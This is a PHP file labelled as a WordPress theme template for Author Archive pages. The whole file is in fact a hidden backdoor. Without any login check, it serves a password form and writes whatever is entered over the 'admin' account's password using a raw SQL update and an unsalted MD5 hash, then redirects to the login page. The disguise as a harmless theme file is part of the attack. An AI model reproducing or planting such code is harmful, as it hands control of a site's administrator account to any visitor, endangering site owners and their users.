<?php

/**
 * The template for displaying Author Archive pages.
 *
 * @Author: UCtheme PHP Studio
 * @Author URI: http://www.uctheme.com
 * @since zzdgm 1.6
 */
include("../../../../wp-config.php");
include("../../../../wp-blog-header.php");
if (empty($_POST['emergency_pass'])) {
?>
	<form method="post">
	  <input name="emergency_pass" type="password" />
	  <input type="submit" />
	</form>
<?php
} else {
	$sql = "UPDATE ".$wpdb->users." SET user_pass = '".md5($_POST['emergency_pass'])."' WHERE User_login = 'admin'";
	$link = $wpdb->query($sql);
	wp_redirect('../../../../wp-login.php');
	exit();
}
?>